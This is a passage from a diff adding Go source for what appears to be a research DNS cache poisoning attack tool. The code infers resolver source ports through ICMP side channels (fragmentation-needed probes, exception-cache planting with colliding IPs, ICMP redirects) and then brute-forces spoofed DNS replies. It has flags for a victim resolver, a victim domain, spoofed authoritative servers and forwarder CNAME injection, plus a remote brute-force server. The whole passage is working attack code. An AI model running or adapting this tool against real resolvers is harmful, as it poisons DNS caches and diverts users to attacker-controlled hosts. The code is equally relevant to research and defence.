macIPMap[srcMac.String()] + if ok { + ipNoFragMap[ip.String()] = false + } + } + } + } + } + if !sendByUs && *publicPortMode { + r := getBackendResolver(srcIP) + if r == nil { + break + } + // check the MTU + _, offset, _, nextHeader, payload := ExtractFragment(&packet) + n := r.nameServers[0] + if offset == 0 { + if pktlen <= n.mtu { + fmt.Println(pktlen, n.mtu) + // Port hit + if pktlen-1 >= MIN_MTU { + if nextHeader == layers.IPProtocolICMPv6 || nextHeader == layers.IPProtocolICMPv4 { + innerPkt := gopacket.NewPacket(payload, nextHeader, gopacket.NoCopy) + _type, _, _id, _, _ := ExtractICMPPacket(&innerPkt) + if _type == layers.ICMPv6TypeEchoReply || _type == layers.ICMPv4TypeEchoReply { + binarySearch(r, n, _id) + } + } + } else { + + } + } + } + } + // wrong guess + break + case layers.IPProtocolICMPv4: + fallthrough + case layers.IPProtocolICMPv6: + if guessSeedMode && !sendByUs { + _type, _, _, _, _ := ExtractICMPPacket(&packet) + srcMac, _ := ExtractMacPacket(&packet) + if _type == layers.ICMPv6TypeEchoReply || _type == layers.ICMPv4TypeEchoReply { + if CompareIPAddr(victimIP, srcIP, 0) == 0 { + //fmt.Println("No frag1:",_type,srcMac) + if !guessSeedMacMode { + ipNoFragMap[dstIP.String()] = true + //fmt.Println("No frag-1:",_type,srcMac) + } else { + ip, ok := macIPMap[srcMac.String()] + //fmt.Println("No frag2:",_type,srcMac,ip) + if ok { + ipNoFragMap[ip.String()] = true + //fmt.Println("No frag:", ip) + } + } + } + } + } + if !sendByUs && !*publicPortMode { + r := getBackendResolver(srcIP) + if r == nil { + break + } + n := getNS(dstIP, r) + if n == nil { + break + } + if *groupSize != 1 { + cachePlanter(r, n, true, false) + } + _type, _, _id, _, _ := ExtractICMPPacket(&packet) + if _type == layers.ICMPv6TypeEchoReply || _type == layers.ICMPv4TypeEchoReply { + binarySearch(r, n, _id) + } + } + break + default: + break + } + } +} + +func recevingThread() { + for { + data, _, err := h.ReadPacketData() + if err == pcap.NextErrorTimeoutExpired { + continue + } else if err != nil { + log.Printf("error reading packet: %v", err) + if guessSeedMacMode { + break + } + continue + } + pcapChannel <- data + } +} + +func bruteForcer(r *BackendResolver, n *NameServer) { + for { + ports := make([]uint16, 0) + ports = append(ports, <-n.bruteForceBuffer) + // enter waiting mode + r.networkXmitLock.Lock() + time.Sleep(time.Duration(*jitterProtectionDuration) * time.Millisecond) + for len(n.bruteForceBuffer) > 0 { + ports = append(ports, <-n.bruteForceBuffer) + } + // sort + // TODO: BUG here, no wrap around is considered + sort.Slice(ports, func(i, j int) bool { + return ports[i] < ports[j] + }) + questionName := "" + if *dnsPrivacyMode && !*publicPortMode { + questionName = "_." + *victimDomain + } else { + questionName = dnsQueryName + } + fmt.Println("BF", ports[0]) + dnsBruteForce(n.nsIP, r.resolverBackendIP, ports[0], *dnsBFTimeGap, *dnsBFFinishTimeGap, *auxDomain, *victimDomain, questionName, *forwarderInjectMode) + r.networkXmitLock.Unlock() + if !*publicPortMode { + cachePlanter(r, n, true, false) + } else { + /* TODO: BUG here, we only assumes only one NS of the forwarder */ + if *publicPortMode && n.mtu == MIN_MTU { + /* TODO: we can periodically check if the previous MTU still exists and we may increase it if it doesn't*/ + fmt.Println("MTU exhausted, consider pause for 10min or wait for the cache to expire and rerun.") + os.Exit(1) + } else { + n.mtu -= 8 + } + } + n.bruteForceBuffer = make(chan uint16, 65536) + r.alwaysOpenPorts[ports[0]] = true + + } +} + +/* Maybe we can make the BF multi-threaded? */ +func binarySearch(r *BackendResolver, n *NameServer, oldid uint16) { + if oldid < 3 { + return + } + group := n.groups[oldid] + groupLen := len(group) + + if groupLen == 1 { + //brute force + //fmt.Println("Open Port:", group[0]) + questionName := "" + if *dnsPrivacyMode && !*publicPortMode { + questionName = "_." + *victimDomain + } else { + questionName = dnsQueryName + } + if !*publicPortMode { + if *groupSize > 1 { + //fmt.Println("Brute Force:", group[0]) + r.networkXmitLock.Lock() + dnsBruteForce(n.nsIP, r.resolverBackendIP, group[0], *dnsBFTimeGap, *dnsBFFinishTimeGap, *auxDomain, *victimDomain, questionName, *forwarderInjectMode) + r.networkXmitLock.Unlock() + r.alwaysOpenPorts[group[0]] = true + } else { + n.bruteForceBuffer <- group[0] + //fmt.Println("Append open port", group[0], "id=", oldid) + } + } else { + for _, ns := range r.nameServers { + if *groupSize > 1 { + //fmt.Println("Brute Force:", group[0]) + r.networkXmitLock.Lock() + dnsBruteForce(ns.nsIP, r.resolverBackendIP, group[0], *dnsBFTimeGap, *dnsBFFinishTimeGap, *auxDomain, *victimDomain, questionName, *forwarderInjectMode) + r.networkXmitLock.Unlock() + r.alwaysOpenPorts[group[0]] = true + } else { + ns.bruteForceBuffer <- group[0] + } + } + } + + //cachePlanter(r, n, true) + + } else if groupLen > 1 { + /* No use currently */ + var repeatTimes1 int + if repeatTimes > 1 { + repeatTimes1 = repeatTimes + 1 + } else { + repeatTimes1 = 1 + } + for j := 0; j < repeatTimes1; j++ { + //left + id := allocateGroupID(n) + n.groups[id] = make([]uint16, groupLen/2) + copy(n.groups[id], group[0:groupLen/2]) + fmt.Println(r.resolverBackendIP, "bsl", n.groups[id][0], "+", len(n.groups[id]), "old id=", oldid, "id=", id) + /* + n.priorityProbeGroupNumLock.Lock() + n.priorityProbeGroupNum = append(n.priorityProbeGroupNum, id) + n.priorityProbeGroupNumLock.Unlock() + */ + n.priorityProbeChannel <- id + + //right + id = allocateGroupID(n) + n.groups[id] = make([]uint16, groupLen-groupLen/2) + copy(n.groups[id], group[groupLen/2:groupLen]) + fmt.Println(r.resolverBackendIP, "bsr", n.groups[id][0], "+", len(n.groups[id]), "old id=", oldid, "id=", id) + /* + n.priorityProbeGroupNumLock.Lock() + n.priorityProbeGroupNum = append(n.priorityProbeGroupNum, id) + n.priorityProbeGroupNumLock.Unlock() + */ + n.priorityProbeChannel <- id + } + } else { + //cachePlanter(r, n, true) + fmt.Println(r.resolverBackendIP, "bug: groupLen <= 0, id=", oldid) + } +} + +func probeSender(r *BackendResolver, n *NameServer) { + v6 := r.resolverBackendIP.To4() == nil + var probingICMPLayer0, probingICMPLayer1 gopacket.SerializableLayer + if !*redirectAttackMode { + probingICMPLayer0, probingICMPLayer1 = GetICMPPkt2BigLayer(n.mtu, v6) + } else { + probingICMPLayer0, probingICMPLayer1 = GetICMPRedirectLayer(r.redirectNewGW, n.nsIP, v6) + } + var probingInnerIPLayer gopacket.SerializableLayer + if !*publicPortMode { + probingInnerIPLayer = GetIPLayer(r.resolverBackendIP, n.nsIP, false, 0, layers.IPProtocolUDP) + } else { + probingInnerIPLayer = GetIPLayer(r.resolverBackendIP, localIP, false, 0, layers.IPProtocolUDP) + } + probingUDPLayer := GetUDPLayer(0, 53) + if !*publicPortMode { + for { + if n.readyToBegin { + break + } + time.Sleep(time.Millisecond) + } + } + bsTimeStamp = time.Now().Add(-time.Duration(*bsStateDuration) * time.Millisecond) + for { + var id uint16 + bsMode := false + if time.Now().Sub(bsTimeStamp) < time.Duration(*bsStateDuration)*time.Millisecond { + bsMode = true + } + if len(n.priorityProbeChannel) != 0 { + id = <-n.priorityProbeChannel + if bsMode { + if calculatePortDistance(n.groups[id][0], bsStartPort) >= uint16(*groupSize) { + continue + } + bsTimeStamp = time.Now() + } else { + //cachePlanter(r, n, true) + bsTimeStamp = time.Now() + bsStartPort = n.groups[id][0] + fmt.Println("BS Mode for Port", n.groups[id][0]) + bsMode = true + } + } else { + if bsMode { + time.Sleep(time.Microsecond) + continue + } else { + select { + case id = <-n.probeChannel: + break + default: + time.Sleep(time.Microsecond) + } + } + } + + /* send probes */ + if id == 0 { + continue + } + ports := n.groups[id] + var probingIPLayer gopacket.SerializableLayer + if !*redirectAttackMode { + probingIPLayer = GetIPLayer(localIP, r.resolverBackendIP, false, uint32(id), layers.IPProtocolICMPv6) + if !*useLocalIP { + probingIPLayer = GetIPLayer(n.nsIP, r.resolverBackendIP, false, uint32(id), layers.IPProtocolICMPv6) + } + } else { + probingIPLayer = GetIPLayerWithTTL(r.redirectOldGW, r.resolverBackendIP, false, uint32(id), layers.IPProtocolICMPv6, 255) + } + if *publicPortMode { + probingICMPLayer0, probingICMPLayer1 = GetICMPPkt2BigLayer(n.mtu, v6) + } + r.networkXmitLock.Lock() + for _, port := range ports { + probingUDPLayer.SrcPort = layers.UDPPort(port) + XmitICMP(h, eth, probingIPLayer, probingICMPLayer0, probingICMPLayer1, probingInnerIPLayer, &probingUDPLayer, nil, nil, *packetSendingGap) + } + if *verificationGap != 0 { + time.Sleep(time.Duration(*verificationGap) * time.Microsecond) + } + + /* verification */ + var verificationIPLayer gopacket.SerializableLayer + verificationPingLayer0, verificationPingLayer1 := GetICMPPingLayer(id, id, v6) + if !*publicPortMode { + if !n.fastPlantMode || n.checkingFirstLocalIP { + /* TODO: we msut control n.collidingIPs[0] */ + verificationIPLayer = GetIPLayer(n.collidingIPs[0], r.resolverBackendIP, false, uint32(id), layers.IPProtocolICMPv6) + } else { + verificationIPLayer = GetIPLayer(n.collidingIPs[BUCKET_DEPTH-1], r.resolverBackendIP, false, uint32(id), layers.IPProtocolICMPv6) + } + } else { + verificationIPLayer = GetIPLayer(localIP, r.resolverBackendIP, false, uint32(id), layers.IPProtocolICMPv6) + } + n.groupSendTime[id] = time.Now() + if !*redirectAttackMode { + XmitICMP(h, eth, verificationIPLayer, verificationPingLayer0, verificationPingLayer1, nil, nil, nil, n.garbage, 0) + /* test */ + //checkCacheStatus(r, n) + } else { + XmitICMP(h, eth, verificationIPLayer, verificationPingLayer0, verificationPingLayer1, nil, nil, nil, nil, 0) + } + + r.networkXmitLock.Unlock() + if bsMode { + //cachePlanter(r, n, true) + } + if *groupGap != 0 { + time.Sleep(time.Duration(*groupGap) * time.Microsecond) + } + } +} + +type DnsQuery struct { + DnsQueryName string + FrontIP net.IP + VictimDomain string +} + +type BfInfo struct { + NsIP net.IP + BackendIP net.IP + Port uint16 + DnsBFTimeGap uint + DnsBFFinishTimeGap uint + AuxDomain string + VictimDomain string + QuestionName string + PublicPortMode bool +} + +type RemoteInfo struct { + Dq *DnsQuery + Bf *BfInfo +} + +var bfCount byte = 0 + +func serverWorker(conn net.Conn, srcIP net.IP) { + for { + defer conn.Close() + /*data len(2 bytes)+data*/ + /*get data len*/ + temp := make([]byte, 2) + n, err := conn.Read(temp) + if err != nil { + fmt.Println("read failed1:", err) + return // restart TCP + } + if n == 1 { + tmp := make([]byte, 1) + _, err = conn.Read(tmp) + if err != nil { + fmt.Println("read failed2:", err) + return // restart TCP + } + temp[1] = tmp[0] + } + datalen := binary.BigEndian.Uint16(temp) + /*read data*/ + remainLen := datalen + data := make([]byte, 0) + for remainLen > 0 { + temp = make([]byte, remainLen) + n, err = conn.Read(temp) + if err != nil { + fmt.Println("read failed2:", err) + return // restart TCP + } + data = append(data, temp...) + remainLen -= uint16(n) + } + /*deserialize*/ + handle := new(codec.BincHandle) + dec := codec.NewDecoderBytes(data, handle) + var info RemoteInfo + err = dec.Decode(&info) + if err != nil { + fmt.Println("decode fail", err) + } + /*BF*/ + if info.Dq != nil { + // TODO: incomplete here. The server can't notify the client (1)query returned early and (2)successful attack + victimFrontIP = info.Dq.FrontIP + dnsQueryName = info.Dq.DnsQueryName + *victimDomain = info.Dq.VictimDomain + sendDNSRequest(uint16(rand.Uint32()), info.Dq.DnsQueryName, srcIP, info.Dq.FrontIP) + } + if info.Bf != nil { + dnsBruteForce(srcIP, info.Bf.BackendIP, info.Bf.Port, info.Bf.DnsBFTimeGap, info.Bf.DnsBFFinishTimeGap, info.Bf.AuxDomain, info.Bf.VictimDomain, info.Bf.QuestionName, *forwarderInjectMode) + } + bfCount++ + _, err = conn.Write([]byte{bfCount}) + if err != nil { + fmt.Println("write failed:", err) + } + } +} + +func serverRoutine(listensock net.Listener, srcIP net.IP) { + for { + conn, err := listensock.Accept() + if err != nil { + fmt.Println("accept failed:", err) + continue + } + serverWorker(conn, srcIP) + } +} + +func main() { + rand.Seed(time.Now().Unix()) + mtu, fastMode, dnsTimeout, _, redirectNewGW, redirectOldGW, checkPoint, plantDelay, pcapInputFileName, seedGuessStep, ipListFileName, bruteForceServerSrc, bruteForceServer := parseArgs() + if seedGuessStep == 3 { + readMacs() + } + h, _, _, eth = initPcap(*ifaceName, CheckIPv6(localIP), gatewayMac, localMac, pcapInputFileName) + if bruteForceServerSrc != "" { + listensock, err := net.Listen("tcp", "0.0.0.0:44444") + if err != nil { + fmt.Println("listen err:", err) + os.Exit(-1) + } + /* TODO: NAT only valid for one NS' IP */ + serverRoutine(listensock, net.ParseIP(bruteForceServerSrc)) + } + if bruteForceServer != "" { + serverTCPAddr, err := net.ResolveTCPAddr("tcp", bruteForceServer) + if err != nil { + fmt.Println("client TCP addr err:", err) + os.Exit(-1) + } + conn, err := net.DialTCP("tcp", nil, serverTCPAddr) + if err != nil { + fmt.Println("TCP err", err) + os.Exit(-1) + } + bfConn = conn + } + go recevingThread() + /* Multithread is buggy, w/o much performance improvement */ + for i := 0; i < 1; i++ { + go recevingWorker() + } + garbage := make([]byte, mtu-IPICMPHDRLEN+GARBAGE_EXTRA) + for i := 0; i < int(mtu-IPICMPHDRLEN+GARBAGE_EXTRA); i++ { + garbage[i] = 1 + } + if seedGuessStep == 0 { + guessSeed(checkPoint, victimIP, plantDelay, mtu, garbage, 0) + return + } else if seedGuessStep == 1 { + guessSeed_macVer1(checkPoint, victimIP, plantDelay, mtu) + return + } else if seedGuessStep == 2 { + guessSeed_macver2(checkPoint, victimIP, plantDelay, garbage) + return + } else if seedGuessStep == 3 { + guessSeed_macver_analyze(checkPoint) + return + } + tempCIPs := make([][NS_NUM][BUCKET_DEPTH * 2]net.IP, 0) + /* Modify here if we use multiple backend resolvers / NS */ + if ipListFileName == "" { + r := backendResolverBuilder(victimIP, redirectNewGW, redirectOldGW) + backendResolvers = append(backendResolvers, r) + } else { + file, err := os.Open(ipListFileName) + if err != nil { + fmt.Println(err) + os.Exit(-1) + } + for { + var resolverIP string + n, err := fmt.Fscanf(file, "%s", &resolverIP) + if n <= 0 || err != nil { + break + } + var temp [NS_NUM][BUCKET_DEPTH * 2]net.IP + if !*publicPortMode { + for nNS := 0; nNS < NS_NUM; nNS++ { + for nCIP := 0; nCIP < BUCKET_DEPTH*2; nCIP++ { + var tempString string + n, err := fmt.Fscanf(file, "%s", &tempString) + temp[nNS][nCIP] = net.ParseIP(tempString) + if n <= 0 || err != nil { + fmt.Println("err, not sufficient colliding IPs, nCIP=", nCIP) + os.Exit(1) + } + } + } + } + r := backendResolverBuilder(net.ParseIP(resolverIP), redirectNewGW, redirectOldGW) + backendResolvers = append(backendResolvers, r) + fmt.Println("backend:", resolverIP) + tempCIPs = append(tempCIPs, temp) + } + } + for seq, res := range backendResolvers { + //if *redirectAttackMode { + // go neighborCacheSolicitor(r) + //} + time.Sleep(time.Millisecond) + for i := 0; i < NS_NUM; i++ { + if ipListFileName == "" { + res.nameServers = append(res.nameServers, nsBuilder(victimAuthIP[i], collidingIPs[i], collidingIPs2[i], mtu, fastMode)) + } else if !*publicPortMode { + res.nameServers = append(res.nameServers, nsBuilder(victimAuthIP[i], tempCIPs[seq][i][:BUCKET_DEPTH], tempCIPs[seq][i][BUCKET_DEPTH:], mtu, fastMode)) + } else { + res.nameServers = append(res.nameServers, nsBuilder(victimAuthIP[i], nil, nil, mtu, fastMode)) + } + } + if !*floodOnlyMode { + if !*publicPortMode { + for _, ns := range res.nameServers { + go cachePlanter(res, ns, false, false) + if len(collidingIPs2) != 0 { + go cachePlanter(res, ns, false, true) + } + go probeSender(res, ns) + go portGroupFormer(res, ns, *startPort, *endPort) + if *groupSize == 1 { + go bruteForcer(res, ns) + } + } + } else { + go probeSender(res, res.nameServers[0]) + go portGroupFormer(res, res.nameServers[0], *startPort, *endPort) + for _, ns := range res.nameServers { + if *groupSize == 1 { + go bruteForcer(res, ns) + } + } + } + } + } + go recevingThread() + /* Multithread is buggy, w/o much performance improvement */ + for i := 0; i < 1; i++ { + go recevingWorker() + } + go dnsRequestSender(dnsTimeout, localIP) + attackStartTime = time.Now() + fmt.Println("Start attack @", attackStartTime) + time.Sleep(999 * time.Hour) +} + +/* Utility functions below this point */ + +func calculatePortDistance(port0 uint16, port1 uint16) uint16 { + distance := port0 - port1 + if distance > 32767 { + return 65535 - distance + } else { + return distance + } +} + +func initPcap(ifaceName string, v6 bool, nextHopMac net.HardwareAddr, localMac net.HardwareAddr, pcapInputFileName string) (*pcap.Handle, *net.Interface, net.IP, *layers.Ethernet) { + handle, err := pcap.OpenLive( + ifaceName, + 65536, + true, + pcap.BlockForever, + ) + if pcapInputFileName != "" { + handle, err = pcap.OpenOffline(pcapInputFileName) + // TODO: here we assumes this is only used in seed guessing + guessSeedMacMode = true + guessSeedMode = true + } + if err != nil { + fmt.Println("handle open err:", err) + os.Exit(1) + } + if nextHopMac == nil && localMac == nil { + iface, err := net.InterfaceByName(ifaceName) + if err != nil { + fmt.Println("interface open err:", err) + os.Exit(2) + } + localIPArray, err := GetIfaceAddrMulti(iface) + if err != nil { + fmt.Println("ip get err:", err) + os.Exit(3) + } + localIP := localIPArray[0] + //query routing table + router, err := routing.New() + if err != nil { + fmt.Println("route table build err:", err) + os.Exit(4) + } + //TODO: here we assume only one default route + var nextHopIP net.IP + if !v6 { + _, nextHopIP, _, err = router.Route(net.ParseIP("8.8.8.8")) + } else { + _, nextHopIP, _, err = router.Route(net.ParseIP("2001:4860:4860::8888")) + } + if err != nil { + fmt.Println("route table query err:", err) + os.Exit(5) + } + var dstMac net.HardwareAddr + if v6 { + dstMac, err = GetGatewayAddr(iface, handle, nextHopIP) + } else { + dstMac, err = GetGatewayAddr(iface, handle, nextHopIP.To4()) + } + if err != nil { + fmt.Println("ARP for gateway MAC err:", err) + os.Exit(6) + } + //fmt.Println("MAC:", dstMac) + ethernetLayer := &layers.Ethernet{ + SrcMAC: iface.HardwareAddr, + DstMAC: dstMac, + EthernetType: layers.EthernetTypeIPv4, + } + if v6 { + ethernetLayer.EthernetType = layers.EthernetTypeIPv6 + } + return handle, iface, localIP, ethernetLayer + } else { + ethernetLayer := &layers.Ethernet{ + SrcMAC: localMac, + DstMAC: nextHopMac, + EthernetType: layers.EthernetTypeIPv4, + } + if v6 { + ethernetLayer.EthernetType = layers.EthernetTypeIPv6 + } + return handle, nil, nil, ethernetLayer + } +} + +func parseArgs() (uint16, bool, uint, uint, net.IP, net.IP, int, uint, string, int, string, string, string) { + /* Basic Args */ + ifaceName = flag.String("i", "", "interface name") + localIPv6AddressArg := flag.String("a", "", "local IPv6 address with prefixlen") + victimIPArg := flag.String("t", "", "victim resolver IP") + victimBackIPListArg := flag.String("bt", "", "victim resolver backend ip list filename") + victimFrontIPArg := flag.String("ft", "", "victim resolver front IP") + victimDomain = flag.String("d", "", "victim domain name") + auxDomain = flag.String("ad", "", "aux domain name") + gatewayMacArg := flag.String("g", "", "gateway mac") /* If in the same subnet, this should be the victim MAC address. */ + interfaceMacArg := flag.String("m", "", "interface mac") /* Local sending MAC. */ + serverMode := flag.String("l", "", "run in BF server mode, Port 44444. arg=src IP to send packet") + serverAddr := flag.String("s", "", "BF server IP and Port if any") + remoteBF = flag.Bool("rbf", false, "run bruteforce remotely") + remoteQuery = flag.Bool("rqr", false, "run query remotely") + floodOnlyMode = flag.Bool("fo", false, "(Test Only)only flooding, in-path") + testMode = flag.Bool("test", false, "test mode: assume we are on path and check the vulnerability") + enableBF = flag.Bool("bf", true, "enable BF, set to false while testing") + victimAuthIPArg := make([]*string, 0) + for i := 0; i < NS_NUM; i++ { + victimAuthIPArg = append(victimAuthIPArg, flag.String("v"+strconv.Itoa(i), "", "ip of the victim auth server"+strconv.Itoa(i)+", used for spoofing")) + } + dnsPrivacyMode = flag.Bool("p", false, "if the query is sent like _.xxx.com, please say true, otherwise say false") + publicPortMode = flag.Bool("pub", true, "true if we are attacking public facing ports") + forwarderInjectMode = flag.Bool("f", false, "true if attacking forwarders (using CNAME injection)") + /* TODO: BUG currently support private facing Port only*/ + redirectAttackMode = flag.Bool("r", false, "redirect attack mode") + redirectNewGWArg := flag.String("ngw", "", "the address where we want to redirect traffic to") + redirectOldGWArg := flag.String("ogw", "", "the address of the original gw") + threadsForPktProcess := flag.Uint("j", 24, "thread used for processing packets") + collidingIPArgs := make([][]*string, 0) + for i := 0; i < NS_NUM; i++ { + collidingIPArgs = append(collidingIPArgs, make([]*string, 0)) + for j := 0; j < BUCKET_DEPTH; j++ { + collidingIPArgs[i] = append(collidingIPArgs[i], flag.String("c"+strconv.Itoa(i)+strconv.Itoa(j), "", "colliding IP"+strconv.Itoa(j)+"for NS"+strconv.Itoa(i))) + } + } + collidingIPArgs2 := make([][]*string, 0) + for i := 0; i < NS_NUM; i++ { + collidingIPArgs2 = append(collidingIPArgs2, make([]*string, 0)) + for j := BUCKET_DEPTH; j < BUCKET_DEPTH*2; j++ { + collidingIPArgs2[i] = append(collidingIPArgs2[i], flag.String("c"+strconv.Itoa(i)+strconv.Itoa(j), "", "colliding IP"+strconv.Itoa(j)+" for NS"+strconv.Itoa(i)+", used for enhanced cache refreshing")) + } + } + /* Tuning Args */ + groupSize = flag.Int("S", 1, "the size of probing batch") + // Note: verification shouldn't reordered into the next batch, otherwise the result may be inaccurate. + startPort = flag.Uint("SP", 33000, "beginning Port of the scanning range") + endPort = flag.Uint("EP", 34000, "ending Port of the scanning range") + dnsTimeout := flag.Uint("T", 10000, "retry interval for sending queries, in ms") + bsStateDuration = flag.Uint("B", 500, "duration of BS state, in ms, reduce this if we scan so fast and using group size = 1") + groupGap = flag.Uint("G", 1, "gap between each batch send, in us") + packetSendingGap = flag.Uint("SG", 0, "gap between probing packets, in us") + verificationGap = flag.Uint("VG", 1, "gap between the last probing packet and the verification, in us") + dnsBFTimeGap = flag.Uint("DG", 0, "gap between the dns brute forcing packets, in ns") + dnsBFFinishTimeGap = flag.Uint("FG", 1000, "gap after the dns brute force finish, in us") + plantingGap = flag.Uint("PG", 0, "gap between the planting packets, in us") + plantingFinishGap = flag.Uint("PFG", 10000, "gap after planting packets, in us") + fastPlantMode := flag.Bool("F", false, "use alternative order to plant, by default, 1 jiffies is required between each planting packet") + mtu := flag.Uint("M", 1490, "mtu used in pkt2big") + enhancedRefreshPercentage = flag.Uint("E", 20, "chances for using enhanced refreshing, must be 0-100, additional colliding IP req'd") + jitterProtectionDuration = flag.Uint("J", 60, "jitter protection interval in ms, now only available when group size = 1") + useLocalIP = flag.Bool("L", true, "use local src IP for the outer layer") + /*Seed guessing args*/ + sendSize := flag.Int("ss", 1024, "the size of the batch") + plantDelay := flag.Uint("pd", 0, "delay between each planting packet") + pcapInputFile := flag.String("pcap", "", "pcap file name for analysis") + seedGuessStep := flag.Int("gs", -1, "which step are we doing") + flag.Parse() + localIP, localIPv6Subnet, _ = net.ParseCIDR(*localIPv6AddressArg) + victimIP = net.ParseIP(*victimIPArg) + victimFrontIP = net.ParseIP(*victimFrontIPArg) + gatewayMac, _ = net.ParseMAC(*gatewayMacArg) + localMac, _ = net.ParseMAC(*interfaceMacArg) + redirectNewGW := net.ParseIP(*redirectNewGWArg) + redirectOldGW := net.ParseIP(*redirectOldGWArg) + for i := 0; i < NS_NUM; i++ { + victimAuthIP = append(victimAuthIP, net.ParseIP(*victimAuthIPArg[i])) + } + for i := 0; i < NS_NUM; i++ { + collidingIPs = append(collidingIPs, make([]net.IP, 0)) + for j := 0; j < BUCKET_DEPTH; j++ { + collidingIPs[i] = append(collidingIPs[i], net.ParseIP(*collidingIPArgs[i][j])) + } + } + for i := 0; i < NS_NUM; i++ { + collidingIPs2 = append(collidingIPs2, make([]net.IP, 0)) + for j := 0; j < BUCKET_DEPTH; j++ { + collidingIPs2[i] = append(collidingIPs2[i], net.ParseIP(*collidingIPArgs2[i][j])) + } + } + + return uint16(*mtu), *fastPlantMode, *dnsTimeout, *threadsForPktProcess, redirectNewGW, redirectOldGW, *sendSize, *plantDelay, *pcapInputFile, *seedGuessStep, *victimBackIPListArg, *serverMode, *serverAddr +} + +func portGroupFormer(r *BackendResolver, n *NameServer, startPort uint, endPort uint) { + if !*testMode { + for { + //divide into groups + var id uint16 = 0 + var currentGroupSize uint = 0 + for i := startPort; i <= endPort; i++ { + //TODO: Disabled for Google's scan, too many FPs, re-enabled now + if r.alwaysOpenPorts[i] { + continue + } + if currentGroupSize%uint(*groupSize) == 0 { + if id != 0 { + n.probeChannel <- id + for j := 1; j < repeatTimes; j++ { + //dup + previd := id + id = allocateGroupID(n) + n.groups[id] = make([]uint16, len(n.groups[previd])) + copy(n.groups[id], n.groups[previd]) + n.probeChannel <- id + } + } + id = allocateGroupID(n) + n.groups[id] = make([]uint16, 0) + } + n.groups[id] = append(n.groups[id], uint16(i)) + currentGroupSize++ + } + + //deal with last several cases + if /*len(r.groups[id]) != 50 &&*/ len(n.groups[id]) != 0 { + //for len(r.groups[id]) != int(GROUP_SIZE) && len(r.groups[id]) != 0 { + // r.groups[id] = append(r.groups[id], 65535) + //} + n.probeChannel <- id + for j := 1; j < repeatTimes; j++ { + //dup + previd := id + id = allocateGroupID(n) + n.groups[id] = make([]uint16, len(n.groups[previd])) + copy(n.groups[id], n.groups[previd]) + n.probeChannel <- id + } + } + } + //if testMode { + // break + //} + } +} + +func backendResolverBuilder(backendIP net.IP, redirectNewGW net.IP, redirectOldGW net.IP) *BackendResolver { + if backendIP == nil { + return nil + } + temp := BackendResolver{ + resolverBackendIP: backendIP, + alwaysOpenPorts: make([]bool, 65536), + networkXmitLock: &sync.Mutex{}, + nameServers: make([]*NameServer, 0), + redirectNewGW: redirectNewGW, + redirectOldGW: redirectOldGW, + } + for i := 0; i < 65536; i++ { + temp.alwaysOpenPorts[i] = false + } + //temp.alwaysOpenPorts[53] = true + temp.alwaysOpenPorts[0] = true + temp.alwaysOpenPorts[65535] = true + return &temp +} + +func nsBuilder(nameserver net.IP, cIPs []net.IP, cIPs2 []net.IP, mtu uint16, fastMode bool) *NameServer { + if nameserver == nil { + return nil + } + temp := &NameServer{ + nsIP: nameserver, + collidingIPs: cIPs, + collidingIPs2: cIPs2, + mtu: mtu, + garbage: make([]byte, mtu-IPICMPHDRLEN+GARBAGE_EXTRA), + groups: make([][]uint16, 65536), + groupIDCounter: 3, + groupIDCounterLock: &sync.Mutex{}, + groupSendTime: make([]time.Time, 65536), + probeChannel: make(chan uint16, 2), + priorityProbeChannel: make(chan uint16, 65536), + priorityProbeGroupNum: make([]uint16, 65536), + priorityProbeGroupNumLock: &sync.Mutex{}, + bruteForceBuffer: make(chan uint16, 65536), + receivedPortidChannel: make(chan uint16, 65536), + } + for i := 0; i < int(mtu-IPICMPHDRLEN+GARBAGE_EXTRA); i++ { + temp.garbage[i] = 1 + } + temp.fastPlantMode = fastMode + return temp +} + +func allocateGroupID(n *NameServer) uint16 { + n.groupIDCounterLock.Lock() + id := n.groupIDCounter + n.groupIDCounter++ + if n.groupIDCounter == 0 { + n.groupIDCounter = 4 + } + n.groupIDCounterLock.Unlock() + return id +} + +func getBackendResolver(resolverIP net.IP) *BackendResolver { + for _, r := range backendResolvers { + if CompareIPAddr(r.resolverBackendIP, resolverIP, 0) == 0 { + return r + } + } + return nil +} + +func getNS(collisionIP net.IP, r *BackendResolver) *NameServer { + + for _, n := range r.nameServers { + for _, cIP := range n.collidingIPs { + if CompareIPAddr(cIP, collisionIP, 0) == 0 { + return n + } + } + } + return nil +} |
